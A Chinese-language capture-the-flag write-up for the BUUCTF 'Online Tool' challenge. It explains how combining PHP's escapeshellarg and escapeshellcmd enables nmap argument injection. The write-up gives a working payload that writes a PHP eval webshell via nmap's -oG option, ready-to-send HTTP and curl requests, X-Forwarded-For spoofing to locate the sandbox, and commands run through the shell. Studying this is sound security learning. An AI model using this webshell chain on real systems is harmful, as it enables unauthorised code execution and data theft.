[BUUCTF 2018]Online Tool这道题,我在BUUCTF平台刷到的时候,第一反应是:又一道命令注入送分题?毕竟源码就那么几行,参数也看得懂。真正动手之后才发现,普通的;cat /flag、|id这些payload全被拦得干干净净,连报错都不给一个。折腾了一阵子才想明白,这里用的是escapeshellarg加escapeshellcmd的双重过滤,但这两个函数叠在一起,恰好形成了一条可以被绕过的缝。
这道题的核心是一个用PHP的system()直接拼接执行nmap扫描的小功能,考察的不是爆破、不是绕过WAF,而是对PHP底层转义函数执行机制的理解。适合正在刷Web方向、想彻底搞懂命令注入本质的朋友。整道题不需要扫描端口、不需要漏洞利用框架,核心就是一段代码审计,加上一个对nmap工具特性的利用思路。
1. 题目分析与初步尝试
1.1 题目源码与功能定位
先贴一下这道题的核心源码,BUUCTF平台上很多Web题的逻辑都很简单,这道也不例外:
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_GET['host'])) { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout=2 -p80 $host"); } ?>第一眼看上去就是经典的命令注入:$_GET['host']被直接拼进system(),而且最终执行的命令是nmap ... -p80 $host。如果没有任何过滤,直接传127.0.0.1; whoami就能执行命令。但这道题偏偏在拼接前加了两层过滤:escapeshellarg()和escapeshellcmd()。
escapeshellarg()的作用是把传入字符串包上一对单引号,同时对字符串内部的单引号做转义,让shell把它当成一个独立的、不可分割的参数。escapeshellcmd()的作用是转义&;#|*?~<>^()[]{}$\以及换行符等特殊字符,防止它们被shell解释。两个函数单独拿出来都是PHP官方推荐的安全写法,理论上能拦住绝大多数命令注入。
1.2 常规注入为什么全失败
我先试了最常见的几种payload。
传host=127.0.0.1; whoami,经过escapeshellarg()之后,整个字符串被包进单引号:'127.0.0.1; whoami',里面的分号变成普通字符,shell不会把它当命令分隔符。
再试管道符:host=127.0.0.1 | id,escapeshellcmd()遇到|会加反斜杠转义,最后shell看到的只是字面量\|,同样不会触发管道。
试来试去,直接拼命令的思路全部走不通。这时候我意识到,问题不在“能不能注入命令”,而在于注入的内容经过两层转义之后,最终会被shell解析成什么形态。单纯想通过;、|、&&这种符号去闭合命令,确实没戏,但escapeshellarg()和escapeshellcmd()的组合存在一个经典的引号逃逸问题,利用思路应该从这里切入。
2. 核心考点:两个安全函数叠加反而失控
2.1 单独使用时各自做了什么
理解这道题,必须先把两个函数在Linux下到底怎么处理字符串搞清楚。
escapeshellarg()做的事情很简单:在字符串最前面加一个单引号,在最后面也加一个单引号,然后把字符串内部的每个单引号替换成'\''。注意这四字符序列的含义:
- 第一个
'用于结束当前的单引号字符串; \和'合起来表示一个转义后的普通单引号;- 最后一个
'用于开启下一段单引号字符串。
举个例子,输入abc'def,处理后得到'abc'\''def'。shell解析时,abc和def会被拼成一个参数,中间那个单引号是普通字符。
escapeshellcmd()做的事情不同:它按顺序扫描字符串,维护一个“当前是否在引号内”的状态。当不在引号内时,遇到&#;|*?~<>^()[]{}$`、换行符、\xFF等字符,就在前面加反斜杠;遇到单引号或双引号,就切换引号状态,不转义它。如果扫描到字符串结束还有未闭合的引号,它会在末尾补一个反斜杠和对应的引号。
单独用哪个都足够安全:escapeshellarg()保证整个字符串是一个参数;escapeshellcmd()保证特殊字符全部转义。但两个函数连续使用,escapeshellarg()生成的那串引号结构,会在escapeshellcmd()扫描时被拆得七零八落。
2.2 引号配对被拆散的完整过程
把这道题的payload简化一下,传入:
127.0.0.1' -v -d a=1 -d "fuck=<?php @eval($_POST[cmd]);?>" -oG 1.php注意这里有一个单引号,它的位置在127.0.0.1后面,后面又跟了空格、参数、双引号等。我们先只看中间这个单引号如何破坏引号配对。
经过escapeshellarg()之后,字符串变成:
'127.0.0.1'\'' -v -d a=1 -d "fuck=<?php @eval($_POST[cmd]);?>" -oG 1.php'把这个字符串当成一个个字符来看:
- 第一个
'开启单引号,状态是“在引号内”; 127.0.0.1是引号内内容;- 后面第一个
'闭合了当前引号,状态变回“不在引号内”; - 接着
\不在引号内,会被转义,变成\\; - 后面又出现一个
',开启新引号; - 紧跟着的
'又闭合它; - 然后
-v -d a=1 -d ...这些内容已经不处于引号保护范围内了。
问题就出在这里。escapeshellarg()原本想用一对单引号保护整段字符串,但因为它为了转义内部那个单引号,生成了“闭合引号、转义引号、开启引号”这种结构,escapeshellcmd()扫描的时候,把这串引号当成了多个独立的开启和闭合动作,保护作用直接失效。最终shell实际看到的,不再是一个被单引号包裹的完整参数,而是多个独立参数,其中包括-v、-d、a=1、-oG 1.php等。
我做个对比表,帮你直观感受这个变化:
| 阶段 | 字符串状态 |
|---|---|
| 开发者意图 | $host整体作为nmap的目标参数 |
escapeshellarg()处理后 | '127.0.0.1'\'' -v -d a=1 -d "..." -oG 1.php' |
escapeshellcmd()处理后 | 引号配对被打乱,后续内容脱离引号保护 |
| shell实际解析 | 多个独立参数,-oG 1.php被nmap识别为选项 |
这里有个很容易误解的地方:很多人以为绕过了这两个函数就能直接执行任意shell命令。不是的。你能控制的是“参数”而不是“命令”。你没办法往命令里塞分号、管道、换行,但你可以控制传入给nmap的选项和值。所以问题的关键变成了:能不能利用nmap本身的功能,达到执行代码的效果。
2.3 这是一次“参数注入”
想通这一点后,整个题目就清晰了:我们手里有一个能往nmap命令行里加参数的入口。nmap的功能非常丰富,除了扫描端口,它还能把扫描结果输出到文件,能加载脚本,能指定目标列表文件,能做各种输出格式转换。
在CTF场景下最常用的就是-oG参数,它可以让nmap把扫描记录以grepable格式写入一个指定文件,而这个文件的内容里会包含完整的命令行。如果你能把PHP代码塞进命令行,再让nmap把它写进一个.php文件,不就有Webshell了吗。
顺着这个思路,整个利用链就完整了:
- 利用引号逃逸让
-oG 1.php成为nmap的独立参数; - 在payload中放入
<?php @eval($_POST[cmd]);?>; - nmap扫描时会把完整命令行写入
1.php,其中就包含这段PHP代码; - 访问生成的
1.php,配合POST参数执行任意PHP代码。
这个链路每一步都依赖nmap的输出行为,而不是依赖shell命令拼接。这也是这道题比较有价值的地方,它逼着你跳出“注入分号执行命令”的惯性思维,去真正理解工具本身的特性。
3. 从参数注入到Webshell的完整利用
3.1 沙箱目录怎么定位
利用之前必须先搞清楚一个问题:源码里执行了chdir($sandbox),$sandbox的值是md5("glzjin" . $_SERVER['REMOTE_ADDR'])。也就是说,nmap生成的1.php不会出现在网站根目录,而是会出现在这个md5值命名的目录里。如果不知道目录名,后面就算shell写出来了也访问不到。
源码开头的这一段就很有意思:
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }服务端直接用X-Forwarded-For请求头覆盖了REMOTE_ADDR。正常情况下,REMOTE_ADDR是真实客户端IP,我们无法控制。但既然题目允许通过X-Forwarded-For覆盖,我们就可以自己指定一个IP值,让沙箱目录变得可计算、可预测。
我请求时把X-Forwarded-For设为127.0.0.1,那么沙箱目录就是md5("glzjin127.0.0.1")。本地算一下:
echo -n 'glzjin127.0.0.1' | md5sum也能用Python:
python3 -c "import hashlib; print(hashlib.md5(b'glzjin127.0.0.1').hexdigest())"算出来的字符串就是目录名。要注意echo -n不能漏,不然会把换行符也算进去,md5结果完全不同。这个坑我后面还会细说。
3.2 构造完整的利用请求
现在把前面所有分析串起来,构造最终payload。
URL解码后的原始payload是:
127.0.0.1' -v -d a=1 -d "fuck=<?php @eval($_POST[cmd]);?>" -oG 1.php我在讲引号逃逸时已经解释过最前面的127.0.0.1',它是整个逃逸的起点。后面的-v -d a=1是干扰参数,让nmap进入debug模式并附带无效目标,不影响写入文件。-d "fuck=<?php @eval($_POST[cmd]);?>"是关键,双引号包裹的部分在escapeshellcmd()扫描时处于成对引号内部,特殊字符不会被转义,所以<?php @eval($_POST[cmd]);?>能原样保留下来。最后-oG 1.php指定输出文件。
注意这里$_POST[cmd]没有给下标加引号。这是故意的。如果写成$_POST['cmd'],内部单引号会让整个转义过程再次出问题,最终写入文件的内容根本不是合法PHP代码。PHP允许$_POST[cmd]这种无引号下标写法,只是会提示未定义常量,但功能正常,@符号正好把警告抑住。
发送请求时,特殊字符最好做URL编码,避免被浏览器或中间层吃掉。这里给一份可以直接用的HTTP请求:
GET /index.php?host=127.0.0.1%27%20-v%20-d%20a=1%20-d%20%22fuck%3C%3Fphp%20%40eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%22%20-oG%201.php HTTP/1.1 Host: 目标地址 X-Forwarded-For: 127.0.0.1如果觉得手写编码容易出错,可以用curl。curl的--data-urlencode会帮你把参数编码好:
curl -G 'http://目标地址/index.php' \ --data-urlencode 'host=127.0.0.1'"'"' -v -d a=1 -d "fuck=<?php @eval($_POST[cmd]);?>" -oG 1.php' \ -H 'X-Forwarded-For: 127.0.0.1'这里bash引号嵌套比较烦,我实际用的时候更喜欢直接复制编码好的URL到Burp Suite的Repeater里发,界面清楚,也能直接改XFF头。
发送成功后,页面会回显nmap的扫描输出。看到输出里有nmap、80/tcp之类的信息,说明命令正常执行了。
3.3 连接Webshell并拿flag
请求发完,服务器上应该生成了1.php。访问路径是:
http://目标地址/<沙箱目录>/1.php<沙箱目录>就是上一步用md5算出来的字符串。比如我算出来是21d84a3370e6a0a0976338223e4c9c3e,那路径就是http://目标地址/21d84a3370e6a0a0976338223e4c9c3e/1.php。
先不带参数访问,会发现页面输出了一段nmap的扫描日志,里面包含完整的命令行文本,以及payload中的PHP代码。这其实是正常的,因为nmap把整个命令行写进了文件开头,PHP引擎会直接把这些内容当作HTML输出,然后遇到<?php标签时开始执行代码。通常还会报一个“未定义常量cmd”的Notice,不影响GetShell。
验证代码是否执行,直接发一个POST请求:
curl -X POST 'http://目标地址/<沙箱目录>/1.php' \ --data 'cmd=system("ls /");'如果返回了根目录列表,说明Webshell已经生效。这道题的flag一般放在/flag,直接读:
curl -X POST 'http://目标地址/<沙箱目录>/1.php' \ --data 'cmd=system("cat /flag");'如果习惯用蚁剑,也可以直接用蚁剑连接http://目标地址/<沙箱目录>/1.php,连接密码填cmd,URL编码器和连接方式按默认设置就行。这里不再展开蚁剑的具体操作。
3.4 为什么双引号里的PHP代码能保住
这里有一个值得单独讲清楚的点:escapeshellcmd()明明会转义<、>、(、)、[、]、$、;这些字符,为什么payload里的<?php @eval($_POST[cmd]);?>没有被打上反斜杠?
关键在于引号状态。escapeshellcmd()扫描字符串时,一旦进入成对的双引号内部,它就不再转义特殊字符。我们的payload在-d后面跟了一个双引号,把整段PHP代码包在里面,所以这段代码在扫描时处于双引号内部,逃过了转义。这个细节是整个payload能否写shell的命门。
如果去掉双引号,<和>会被转义成\<和\>,那么写入文件的PHP标签就失效了,访问1.php只会看到一段普通文本,不会执行代码。所以构造payload时,必须保证PHP代码在nmap的完整命令行里是以原样字符串出现的,不能携带任何被转义的符号。
4. 实战中常见的坑与排查思路
4.1 沙箱目录计算错误导致的404
这是最常遇到的问题。shell文件确实生成了,但访问路径不对,一直404。我复盘了几个原因:
第一,echo -n和printf的区别。很多人用echo -n 'glzjin127.0.0.1' | md5sum,在Linux下没问题,但如果复制到某些在线工具或者Windows环境,可能多了换行符,md5结果就完全不同。建议用Python算,更稳定:“python3 -c "import hashlib;print(hashlib.md5(b'glzjin127.0.0.1').hexdigest())"”。
第二,XFF头没有生效。确认请求里确实带了X-Forwarded-For: 127.0.0.1,而且大小写、格式正确。PHP对HTTP_X_FORWARDED_FOR的解析是自动完成的,只要请求头存在,$_SERVER['HTTP_X_FORWARDED_FOR']就会有值。
第三,请求IP和计算目录时用的IP不一致。如果XFF头被某个中间层清掉,服务端拿到的其实是真实IP,而你按自己设的127.0.0.1算目录,自然访问不到。可以观察页面是否回显nmap输出,确认请求确实命中了源码逻辑。
4.2 文件生成了但PHP不解析
访问生成的.php文件,页面直接打印出了完整命令行,<?php那段代码变成了普通文本,说明写入文件的内容里,PHP标签已经被转义了。
最常见的原因就是payload少了双引号。我再强调一次:-d "fuck=<?php @eval($_POST[cmd]);?>"里的双引号不能省略,否则<、>会被escapeshellcmd()加上反斜杠,变成\<\?php。PHP引擎只认<?php,不认带反斜杠的版本。
另一个可能性是payload里的$_POST[cmd]被写成了$_POST['cmd']。带引号的下标在两次转义过程中会引入额外的单引号和反斜杠,导致写入的PHP代码语法错乱。改用$_POST[cmd]能避免这个问题。
4.3 蚁剑连接失败
蚁剑连不上的原因通常有两个。
一个是连接密码填错。payload写的是$_POST[cmd],那连接密码就是cmd,不是shell,不是pass,更不能留空。
另一个是代码没有真正执行。访问页面时如果只看到nmap日志,没有触发任何PHP解析效果,那还是回到4.2去检查转义问题。另外,如果PHP版本很老,$_POST[cmd]无引号写法可能会产生大量Notice警告,虽然不影响执行,但可能让页面输出异常。蚁剑对异常输出的容忍度通常还行,但如果实在连不上,可以先确认system("ls /");这种命令能不能通过curl正常回显,先排除连接工具的问题。
4.4 扫描超时或nmap报错
这道题的payload里有几个无效host,nmap会尝试去解析它们,可能拖慢扫描或者报一些DNS解析错误。我在实际测试中遇到过扫描卡住的情况,多数是因为目标网络环境对DNS查询有严格限制。
可以在命令行里加--dns-servers 127.0.0.1这类选项,或者把干扰参数精简一些,只保留必要部分。不过BUUCTF的原题环境通常不会卡住,如果卡住,多等一会儿,或者重新发一次请求。--host-timeout=2本身就限制了每个主机的扫描时间,整体不会太慢。
下面把几个常见问题整理成速查表,方便排查:
| 现象 | 主要原因 | 解决办法 |
|---|---|---|
| 访问shell路径404 | 沙箱目录计算错误或XFF失效 | 用Python重新计算md5,确认XFF头存在 |
| PHP代码变成普通文本 | <、>被转义 | 确保PHP代码位于成对双引号内 |
| 蚁剑连接无响应 | PHP代码语法错乱或密码错误 | 用$_POST[cmd]无引号写法,密码填cmd |
| 扫描超时 | 无效host过多 | 精简干扰参数,或使用--dns-servers |
| 页面报未定义常量Notice | 无引号下标写法触发 | 不影响执行,可忽略或用@抑制 |
5. 一点个人复盘
这道题给我最大的触动不是payload本身,而是“安全函数组合不等于更安全”这件事。escapeshellarg()和escapeshellcmd()单独用,都是很可靠的过滤手段,但把它们连起来,反而破坏了彼此建立的引号状态。写代码的时候,大家习惯堆过滤函数,觉得“多一层总是好的”,这道题就是一个反例。
从解题角度说,nmap这种常见工具在CTF里经常被当成命令注入的跳板,-oG写文件、--script加载脚本、-iL读取文件都是高频考点。刷题的时候不妨多翻翻这些工具的官方文档,遇到参数注入类题目会顺手很多。我自己就在-oG写Webshell上栽过跟头,后来才意识到nmap输出文件第一行会完整记录命令行,这个特性本身就是为写文件类利用量身定做的。
另外一个小经验:构造payload时不要急着发,先在本地用PHP命令行模拟一下两次转义,看看最终字符串长什么样。比如在Linux下跑php -r 'echo escapeshellcmd(escapeshellarg($argv[1]));' -- '你的输入',能直观看到转义结果,比盲试快得多。这道题值得反复做几遍,每次都能加深对shell引号解析的理解。